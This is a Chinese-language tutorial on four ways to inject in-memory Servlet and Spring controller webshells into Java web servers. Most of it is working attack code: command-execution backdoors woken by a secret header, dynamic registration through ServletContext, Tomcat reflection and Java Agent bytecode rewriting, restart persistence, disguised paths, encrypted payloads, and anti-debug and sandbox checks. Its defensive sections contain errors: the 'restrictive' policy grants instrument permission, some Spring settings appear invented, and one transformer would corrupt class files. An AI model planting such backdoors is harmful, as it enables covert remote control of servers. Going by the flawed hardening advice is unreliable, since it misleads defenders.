Java内存马——Servlet型的四种注入
字数 2050 2025-08-30 06:50:12

Java内存马——Servlet型注入技术详解

一、ServletContext API注入技术

1. 核心原理与优势

  • 攻击链:漏洞入口 → 获取ServletContext → 创建恶意Servlet实例 → 动态注册Servlet → 设置URL映射 → 建立持久化后门
  • 技术优势
    • 符合Servlet 3.0+规范标准
    • 无需了解容器内部实现细节
    • 支持Tomcat/Jetty/WebLogic等主流容器
    • 不依赖反射操作内部类

2. 详细注入流程

步骤1:获取ServletContext对象

// 方式1:通过当前请求对象获取(最常用)
ServletContext context = request.getServletContext();

// 方式2:通过Session获取(需先有Session)
HttpSession session = request.getSession();
ServletContext context = session.getServletContext();

// 方式3:通过ServletConfig获取(需在Servlet环境中)
ServletContext context = getServletConfig().getServletContext();

步骤2:创建恶意Servlet类

public class GhostServlet extends HttpServlet {
    private static final String TRIGGER_PARAM = "X-Health-Check";
    
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        // 1. 检查唤醒条件
        if (!req.getHeader(TRIGGER_PARAM).equals("passw0rd")) {
            return; // 非唤醒请求直接放行
        }
        
        // 2. 获取待执行命令
        String cmd = req.getParameter("exec");
        if (cmd == null) {
            resp.getWriter().write("Invalid command");
            return;
        }
        
        // 3. 多平台命令执行
        String[] commands;
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            commands = new String[]{"cmd.exe", "/c", cmd};
        } else {
            commands = new String[]{"/bin/sh", "-c", cmd};
        }
        
        // 4. 执行并返回结果
        try (InputStream in = Runtime.getRuntime().exec(commands).getInputStream();
             Scanner s = new Scanner(in).useDelimiter("\\A")) {
            resp.getWriter().write(s.hasNext() ? s.next() : "");
        } catch (Exception e) {
            resp.getWriter().write("Execution failed: " + e.getMessage());
        }
    }
}

隐蔽性设计技巧

  • 使用非常规Header作为唤醒条件
  • 正常请求不返回任何内容
  • 使用HealthCheckServlet等合理类名
  • 映射到/health/monitor等合理路径

步骤3:动态注册Servlet

// 获取ServletContext
ServletContext context = request.getServletContext();

// 创建恶意Servlet实例
Servlet ghostServlet = new GhostServlet();

// 注册Servlet
ServletRegistration.Dynamic registration = context.addServlet(
    "HealthMonitor", // 注册名称(显示在管理界面)
    ghostServlet    // Servlet实例
);

// 设置映射路径
registration.addMapping("/api/health");
registration.addMapping("/internal/monitor"); // 可设置多个路径

// 设置初始化参数(可选)
registration.setInitParameter("debug", "false");

// 设置加载顺序(建议设置)
registration.setLoadOnStartup(1);

3. 技术难点与解决方案

难点1:类加载问题

解决方案:字节码动态加载技术

// 1. 定义恶意Servlet的字节码
byte[] evilClassBytes = Base64.getDecoder().decode("yv66vgAAADQANAoABwA...");

// 2. 获取当前ClassLoader
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

// 3. 反射调用defineClass方法
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
    "defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);

// 4. 动态加载类
Class<?> ghostClass = (Class<?>) defineClassMethod.invoke(
    classLoader, "com.app.HealthMonitor", evilClassBytes, 0, evilClassBytes.length);

// 5. 实例化Servlet
Constructor<?> cons = ghostClass.getConstructor();
Servlet ghostServlet = (Servlet) cons.newInstance();

难点2:重启持久化

解决方案:注册ServletContainerInitializer

// 1. 实现初始化器
public class BackdoorInitializer implements ServletContainerInitializer {
    @Override
    public void onStartup(Set<Class<?>> c, ServletContext ctx) {
        // 容器启动时自动注册内存马
        ctx.addServlet("HealthMonitor", new GhostServlet())
           .addMapping("/api/health");
    }
}

// 2. 创建SPI配置文件
// META-INF/services/javax.servlet.ServletContainerInitializer
// 内容: com.exploit.BackdoorInitializer

4. 防御与检测手段

静态检测方法

// 扫描已注册的Servlet
Map<String, ? extends ServletRegistration> registrations = servletContext.getServletRegistrations();
registrations.forEach((name, reg) -> {
    // 检测点1:非常规类名
    if (name.matches("[a-f0-9]{32}")) {
        log.warn("可疑Servlet: " + name);
    }
    
    // 检测点2:异常映射路径
    if (reg.getMappings().contains("/api/health") && !"HealthController".equals(name)) {
        log.warn("可疑映射: " + name);
    }
});

动态监控方案(RASP Hook)

// Hook点:ServletContext.addServlet()
public class SecurityHook {
    public static void hookAddServlet(ServletContext context, String servletName) {
        StackTraceElement[] stack = Thread.currentThread().getStackTrace();
        
        // 检测非初始化阶段注册
        if (!isInitializationPhase(stack)) {
            alert("可疑Servlet注册: " + servletName);
            // 阻断操作
            throw new SecurityException("Operation blocked");
        }
    }
    
    private static boolean isInitializationPhase(StackTraceElement[] stack) {
        // 检查调用栈中是否包含容器初始化类
        return Arrays.stream(stack)
            .anyMatch(e -> e.getClassName().contains("ServletContainerInitializer"));
    }
}

内存扫描技巧(使用OQL)

SELECT r.name, r.mappings, r.servletClassName 
FROM javax.servlet.ServletRegistration r 
WHERE r.servletClassName LIKE "%GhostServlet%" 
   OR r.mappings.toString().matches(".*/(health|monitor).*")

二、反射调用Tomcat内部API注入

1. 核心原理与技术优势

  • 攻击链:漏洞入口 → 解包Request对象 → 获取StandardContext → 创建Wrapper → 添加Servlet映射 → 植入恶意Servlet → 建立持久化后门
  • 技术优势
    • 兼容Tomcat 6.x等旧版本
    • 绕过基于Servlet API的安全监控
    • 直接操作容器内部数据结构
    • 可精确控制Wrapper的加载顺序和初始化参数

2. 关键组件解析

组件 类名 作用
请求对象 org.apache.catalina.connector.RequestFacade 请求的外包装类
真实请求 org.apache.catalina.connector.Request 包含核心上下文信息
上下文容器 org.apache.catalina.core.StandardContext Web应用的运行时容器
Servlet包装器 org.apache.catalina.core.StandardWrapper Servlet的运行时封装
映射管理器 org.apache.tomcat.util.descriptor.web.ServletMappings 管理URL到Servlet的映射

3. 注入流程详解

步骤1:解包真实Request对象

// 获取外层RequestFacade
ServletRequest request = ...;

// 反射获取真实Request对象
Field requestField = null;
Class<?> clazz = request.getClass();

// 遍历可能的字段名(不同版本差异)
String[] fieldNames = {"request", "facade"};
for (String fieldName : fieldNames) {
    try {
        requestField = clazz.getDeclaredField(fieldName);
        requestField.setAccessible(true);
        break;
    } catch (NoSuchFieldException ignored) {}
}

// 获取真实Request实例
Object realRequest = requestField.get(request);

步骤2:获取StandardContext对象

// 方法1:通过Request的context属性
Method getContextMethod = realRequest.getClass().getMethod("getContext");
Object standardContext = getContextMethod.invoke(realRequest);

// 方法2:通过WebappClassLoader(备用方案)
if (standardContext == null) {
    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
    Field resourcesField = classLoader.getClass().getDeclaredField("resources");
    resourcesField.setAccessible(true);
    Object resources = resourcesField.get(classLoader);
    
    Field contextField = resources.getClass().getDeclaredField("context");
    contextField.setAccessible(true);
    standardContext = contextField.get(resources);
}

步骤3:创建恶意Wrapper

// 创建Wrapper实例
Method createWrapperMethod = standardContext.getClass().getMethod("createWrapper");
Object wrapper = createWrapperMethod.invoke(standardContext);

// 设置Wrapper属性
String[] methods = {
    "setName",        // 设置唯一标识
    "setServletClass",// 设置Servlet类名
    "setLoadOnStartup"// 设置启动加载顺序
};
Object[] params = {
    "HealthMonitor",  // 名称
    "com.app.EvilServlet", // 恶意类名
    1                // 立即加载
};
Class<?>[] paramTypes = {String.class, String.class, int.class};

for (int i = 0; i < methods.length; i++) {
    Method m = wrapper.getClass().getMethod(methods[i], paramTypes[i]);
    m.invoke(wrapper, params[i]);
}

// 添加到StandardContext
Method addChildMethod = standardContext.getClass().getMethod("addChild", Container.class);
addChildMethod.invoke(standardContext, wrapper);

步骤4:添加Servlet映射

// 获取ServletMappings
Field servletMappingsField = standardContext.getClass().getDeclaredField("servletMappings");
servletMappingsField.setAccessible(true);
Object servletMappings = servletMappingsField.get(standardContext);

// Tomcat 7/8 vs 9+ 兼容处理
String addMappingMethodName = servletMappings.getClass().getMethod("get", String.class) != null 
    ? "put" : "addMapping";

if ("addMapping".equals(addMappingMethodName)) {
    // Tomcat 9+ 使用addMappingDecoded
    Method addMapping = standardContext.getClass().getMethod(
        "addServletMappingDecoded", String.class, String.class, boolean.class);
    addMapping.invoke(standardContext, "/api/health", "HealthMonitor", true);
} else {
    // Tomcat 7/8 直接操作Map
    Method putMethod = servletMappings.getClass().getMethod("put", String.class, String.class);
    putMethod.invoke(servletMappings, "/api/health", "HealthMonitor");
}

4. 高级隐蔽技术

技术1:Wrapper伪装

// 克隆已有Wrapper配置
Object defaultWrapper = standardContext.findChild("default");
Method[] getters = {
    getMethod("getLoadOnStartup"),
    getMethod("getRunAs"),
    getMethod("getServletClassName")
};

// 复制属性到恶意Wrapper
for (Method getter : getters) {
    Object value = getter.invoke(defaultWrapper);
    String setterName = "set" + getter.getName().substring(3);
    Method setter = wrapper.getClass().getMethod(setterName, getter.getReturnType());
    setter.invoke(wrapper, value);
}

技术2:映射混淆

// 添加多个映射路径迷惑防御
String[] paths = {
    "/static/css/main.css",
    "/images/logo.png",
    "/api/health"
};

// 随机选择一个真实路径
int activeIndex = new Random().nextInt(paths.length);
for (int i = 0; i < paths.length; i++) {
    if (i == activeIndex) {
        addMapping(paths[i], "HealthMonitor"); // 真实映射
    } else {
        // 添加伪映射指向合法Servlet
        addMapping(paths[i], "DefaultServlet");
    }
}

5. 防御与检测方案

静态检测方法

// 反射检查StandardContext状态
Object standardContext = getStandardContext();

// 1. 检查children中的可疑Wrapper
Method findChildren = standardContext.getClass().getMethod("findChildren");
Object[] wrappers = (Object[]) findChildren.invoke(standardContext);

for (Object wrapper : wrappers) {
    Method getName = wrapper.getClass().getMethod("getName");
    String name = (String) getName.invoke(wrapper);
    if (name.matches("[a-f0-9]{32}")) {
        log.warn("可疑Wrapper: " + name);
    }
}

// 2. 检查servletMappings中的异常映射
Field mappingsField = standardContext.getClass().getDeclaredField("servletMappings");
mappingsField.setAccessible(true);
Object mappings = mappingsField.get(standardContext);

// 根据不同版本处理映射表
if (mappings instanceof Map) {
    Map<?, ?> map = (Map<?, ?>) mappings;
    map.forEach((path, name) -> {
        if (path.toString().contains("health") || path.toString().contains("monitor")) {
            log.warn("可疑映射路径: " + path);
        }
    });
}

三、Java Agent + Instrumentation修改字节码注入

1. 技术原理

Instrumentation核心机制

public interface Instrumentation {
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
    // 其他关键方法...
}

攻击路径:Java Agent加载 → 注册ClassFileTransformer → 拦截类加载 → 修改字节码 → 植入恶意逻辑 → 重建类定义

2. 完整攻击流程实现

步骤1:Agent入口

public class GhostAgent {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new ServletInjector(), true);
        try {
            // 重定义目标类触发transform
            Class<?>[] allClasses = inst.getAllLoadedClasses();
            for (Class<?> cls : allClasses) {
                if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                    inst.retransformClasses(cls);
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

步骤2:字节码修改(ASM实现)

public class ServletInjector implements ClassFileTransformer {
    private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
                          ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        if (!TARGET_CLASS.equals(className)) {
            return null;
        }
        
        ClassReader cr = new ClassReader(classfileBuffer);
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        ClassVisitor cv = new FilterChainAdapter(cw);
        cr.accept(cv, ClassReader.EXPAND_FRAMES);
        return cw.toByteArray();
    }
    
    static class FilterChainAdapter extends ClassVisitor {
        public FilterChainAdapter(ClassVisitor cv) {
            super(Opcodes.ASM9, cv);
        }
        
        @Override
        public MethodVisitor visitMethod(int access, String name, String desc, 
                                       String signature, String[] exceptions) {
            MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
            if ("internalDoFilter".equals(name) && 
                "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V".equals(desc)) {
                return new InjectCodeAdapter(mv);
            }
            return mv;
        }
    }
}

步骤3:植入恶意逻辑

static class InjectCodeAdapter extends MethodVisitor {
    public InjectCodeAdapter(MethodVisitor mv) {
        super(Opcodes.ASM9, mv);
    }
    
    @Override
    public void visitCode() {
        // 在方法开始处注入代码
        super.visitCode();
        
        // 创建恶意Servlet实例
        mv.visitTypeInsn(NEW, "com/ghost/EvilServlet");
        mv.visitInsn(DUP);
        mv.visitMethodInsn(INVOKESPECIAL, "com/ghost/EvilServlet", "<init>", "()V", false);
        mv.visitVarInsn(ASTORE, 100); // 存储在局部变量表
        
        // 检查唤醒条件
        mv.visitVarInsn(ALOAD, 1); // 加载request
        mv.visitLdcInsn("X-Trigger");
        mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletRequest", 
                          "getHeader", "(Ljava/lang/String;)Ljava/lang/String;", true);
        mv.visitLdcInsn("passw0rd");
        mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
        Label elseLabel = new Label();
        mv.visitJumpInsn(IFEQ, elseLabel);
        
        // 执行恶意逻辑
        mv.visitVarInsn(ALOAD, 100); // 加载恶意servlet
        mv.visitVarInsn(ALOAD, 1);   // request
        mv.visitVarInsn(ALOAD, 2);   // response
        mv.visitMethodInsn(INVOKEVIRTUAL, "com/ghost/EvilServlet", "service", 
                          "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", false);
        
        // 直接返回,阻断后续过滤器
        mv.visitInsn(RETURN);
        mv.visitLabel(elseLabel);
        // 原方法逻辑继续执行...
    }
}

3. 高级隐蔽技术

技术1:字节码加密与混淆

public class StealthTransformer implements ClassFileTransformer {
    private static final byte[] ENCRYPTED_CODE = Base64.getDecoder().decode("Klj89a2...");
    
    @Override
    public byte[] transform(...) {
        // 动态解密恶意代码
        byte[] decrypted = AES.decrypt(ENCRYPTED_CODE, System.getenv("KEY"));
        
        // 碎片化注入
        Random rnd = new Random();
        int insertPoint = rnd.nextInt(classfileBuffer.length - 1000);
        System.arraycopy(decrypted, 0, classfileBuffer, insertPoint, decrypted.length);
        return classfileBuffer;
    }
}

技术2:环境感知与反调试

// 检测调试器
if (System.getProperty("sun.jdwp.listener") != null) {
    return; // 不执行恶意代码
}

// 检测沙箱环境
if (System.getenv("AWS_EXECUTION_ENV") != null || 
    System.getProperty("org.gradle.appname") != null) {
    return;
}

// 检测安全产品
try {
    Class.forName("com.safedog.agent");
    return; // 安全狗环境
} catch (ClassNotFoundException ignored) {}

4. 防御与检测方案

字节码完整性校验

public class IntegrityAgent {
    private static Map<String, byte[]> originals = new HashMap<>();
    
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            public byte[] transform(...) {
                byte[] original = getOriginalClass(className);
                if (original != null && !Arrays.equals(classfileBuffer, original)) {
                    alert("字节码被修改: " + className);
                }
                return null;
            }
        }, true);
    }
    
    private static byte[] getOriginalClass(String name) {
        if (!originals.containsKey(name)) {
            // 从安全位置加载原始字节码
            originals.put(name, loadFromSecureStorage(name));
        }
        return originals.get(name);
    }
}

容器强化配置

安全启动参数:

# 禁用Attach API
-Djdk.attach.allowAttachSelf=false

# 限制Instrumentation
-Dcom.sun.tools.attach.enable=false

# 启用安全管理器
-Djava.security.manager -Djava.security.policy==restrict.policy

安全策略文件(restrict.policy):

// 禁止未签名Agent
grant {
    permission java.lang.RuntimePermission "loadLibrary.*";
    permission java.lang.RuntimePermission "setFactory";
    permission java.lang.RuntimePermission "createClassLoader";
    permission java.lang.RuntimePermission "getClassLoader";
    
    // 明确拒绝Instrumentation权限
    permission java.lang.RuntimePermission "instrument";
    permission java.lang.RuntimePermission "modifyThread";
    permission java.lang.RuntimePermission "shutdownHooks";
};

四、Spring MVC中注入"伪Servlet"(Controller)

1. Spring MVC架构核心机制

组件 类名 作用
处理器映射 RequestMappingHandlerMapping URL到Controller的映射
处理器适配器 RequestMappingHandlerAdapter 调用Controller方法
视图解析器 InternalResourceViewResolver 视图解析
应用上下文 WebApplicationContext Spring容器核心

2. Controller型内存马注入技术

标准注入流程

步骤1:获取应用上下文

// 从ServletContext获取
WebApplicationContext context = (WebApplicationContext) request.getServletContext()
    .getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);

// 通过工具类获取
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());

步骤2:获取HandlerMapping

// 获取所有HandlerMapping
Map<String, HandlerMapping> mappings = context.getBeansOfType(HandlerMapping.class);

// 定位RequestMappingHandlerMapping
RequestMappingHandlerMapping handlerMapping = null;
for (HandlerMapping mapping : mappings.values()) {
    if (mapping instanceof RequestMappingHandlerMapping) {
        handlerMapping = (RequestMappingHandlerMapping) mapping;
        break;
    }
}

步骤3:创建恶意Controller

public class GhostController {
    @ResponseBody
    public String execute(HttpServletRequest request) {
        // 唤醒检查
        if (!"passw0rd".equals(request.getHeader("X-Auth"))) {
            return "OK";
        }
        
        // 命令执行
        try {
            String cmd = request.getParameter("exec");
            Process p = Runtime.getRuntime().exec(cmd);
            Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
            return s.hasNext() ? s.next() : "";
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}

步骤4:动态注册Controller

// 创建Controller实例
Object controller = new GhostController();

// 获取目标方法
Method method = GhostController.class.getMethod("execute", HttpServletRequest.class);

// 构建映射信息
RequestMappingInfo mappingInfo = RequestMappingInfo
    .paths("/api/health") // 伪装路径
    .methods(RequestMethod.GET, RequestMethod.POST)
    .produces(MediaType.APPLICATION_JSON_VALUE)
    .build();

// 注册映射
handlerMapping.registerMapping(mappingInfo, controller, method);

3. 高级隐蔽技术

映射伪装策略

// 多重路径映射
String[] paths = {
    "/actuator/health",
    "/swagger-resources",
    "/v2/api-docs",
    "/static/css/main.css"
};

// 随机选择真实路径
int activeIndex = new Random().nextInt(paths.length);
for (int i = 0; i < paths.length; i++) {
    RequestMappingInfo info = RequestMappingInfo.paths(paths[i])
        .methods(i == activeIndex ? RequestMethod.POST : RequestMethod.GET)
        .build();
    handlerMapping.registerMapping(info, controller, method);
}

条件触发机制

public String execute(HttpServletRequest request) {
    // 时间锁验证
    long current = System.currentTimeMillis() / 60000; // 每分钟变化
    String timeKey = request.getHeader("X-Time");
    if (!String.valueOf(current).substring(4).equals(timeKey)) {
        return "Invalid request";
    }
    
    // IP白名单验证
    String clientIP = request.getRemoteAddr();
    if (!"192.168.1.100".equals(clientIP)) {
        return "Forbidden";
    }
    
    // 执行命令...
}

4. 防御与检测方案

运行时映射扫描

public void scanSuspiciousMappings() {
    Map<RequestMappingInfo, HandlerMethod> handlerMethods = handlerMapping.getHandlerMethods();
    handlerMethods.forEach((info, method) -> {
        // 检测可疑路径
        if (info.getPatternsCondition().getPatterns().stream()
            .anyMatch(p -> p.contains("health") || p.contains("monitor"))) {
            log.warn("可疑映射路径: {}", info);
        }
        
        // 检测匿名Controller
        Class<?> controllerClass = method.getBeanType();
        if (controllerClass.getName().contains("$Proxy") || 
            controllerClass.getClassLoader() instanceof GhostClassLoader) {
            log.warn("可疑Controller类: {}", controllerClass.getName());
        }
        
        // 检测危险方法
        if (method.getMethod().getName().equals("execute") && 
            method.getMethod().getParameterTypes()[0] == HttpServletRequest.class) {
            log.warn("危险方法签名: {}", method);
        }
    });
}

安全加固配置

application-security.properties:

# 禁止动态注册Controller
spring.mvc.dynamic-controller-registration=false

# 启用映射审计
spring.mvc.mapping-audit.enabled=true
spring.mvc.mapping-audit.cron=0 0/5 * * * ?

# 限制Controller包路径
spring.mvc.allowed-controller-packages=com.legit.controllers
Java内存马——Servlet型注入技术详解 一、ServletContext API注入技术 1. 核心原理与优势 攻击链 :漏洞入口 → 获取ServletContext → 创建恶意Servlet实例 → 动态注册Servlet → 设置URL映射 → 建立持久化后门 技术优势 : 符合Servlet 3.0+规范标准 无需了解容器内部实现细节 支持Tomcat/Jetty/WebLogic等主流容器 不依赖反射操作内部类 2. 详细注入流程 步骤1:获取ServletContext对象 步骤2:创建恶意Servlet类 隐蔽性设计技巧 : 使用非常规Header作为唤醒条件 正常请求不返回任何内容 使用 HealthCheckServlet 等合理类名 映射到 /health 、 /monitor 等合理路径 步骤3:动态注册Servlet 3. 技术难点与解决方案 难点1:类加载问题 解决方案 :字节码动态加载技术 难点2:重启持久化 解决方案 :注册 ServletContainerInitializer 4. 防御与检测手段 静态检测方法 动态监控方案(RASP Hook) 内存扫描技巧(使用OQL) 二、反射调用Tomcat内部API注入 1. 核心原理与技术优势 攻击链 :漏洞入口 → 解包Request对象 → 获取StandardContext → 创建Wrapper → 添加Servlet映射 → 植入恶意Servlet → 建立持久化后门 技术优势 : 兼容Tomcat 6.x等旧版本 绕过基于Servlet API的安全监控 直接操作容器内部数据结构 可精确控制Wrapper的加载顺序和初始化参数 2. 关键组件解析 | 组件 | 类名 | 作用 | |------|------|------| | 请求对象 | org.apache.catalina.connector.RequestFacade | 请求的外包装类 | | 真实请求 | org.apache.catalina.connector.Request | 包含核心上下文信息 | | 上下文容器 | org.apache.catalina.core.StandardContext | Web应用的运行时容器 | | Servlet包装器 | org.apache.catalina.core.StandardWrapper | Servlet的运行时封装 | | 映射管理器 | org.apache.tomcat.util.descriptor.web.ServletMappings | 管理URL到Servlet的映射 | 3. 注入流程详解 步骤1:解包真实Request对象 步骤2:获取StandardContext对象 步骤3:创建恶意Wrapper 步骤4:添加Servlet映射 4. 高级隐蔽技术 技术1:Wrapper伪装 技术2:映射混淆 5. 防御与检测方案 静态检测方法 三、Java Agent + Instrumentation修改字节码注入 1. 技术原理 Instrumentation核心机制 攻击路径 :Java Agent加载 → 注册ClassFileTransformer → 拦截类加载 → 修改字节码 → 植入恶意逻辑 → 重建类定义 2. 完整攻击流程实现 步骤1:Agent入口 步骤2:字节码修改(ASM实现) 步骤3:植入恶意逻辑 3. 高级隐蔽技术 技术1:字节码加密与混淆 技术2:环境感知与反调试 4. 防御与检测方案 字节码完整性校验 容器强化配置 安全启动参数: 安全策略文件(restrict.policy): 四、Spring MVC中注入"伪Servlet"(Controller) 1. Spring MVC架构核心机制 | 组件 | 类名 | 作用 | |------|------|------| | 处理器映射 | RequestMappingHandlerMapping | URL到Controller的映射 | | 处理器适配器 | RequestMappingHandlerAdapter | 调用Controller方法 | | 视图解析器 | InternalResourceViewResolver | 视图解析 | | 应用上下文 | WebApplicationContext | Spring容器核心 | 2. Controller型内存马注入技术 标准注入流程 步骤1:获取应用上下文 步骤2:获取HandlerMapping 步骤3:创建恶意Controller 步骤4:动态注册Controller 3. 高级隐蔽技术 映射伪装策略 条件触发机制 4. 防御与检测方案 运行时映射扫描 安全加固配置 application-security.properties: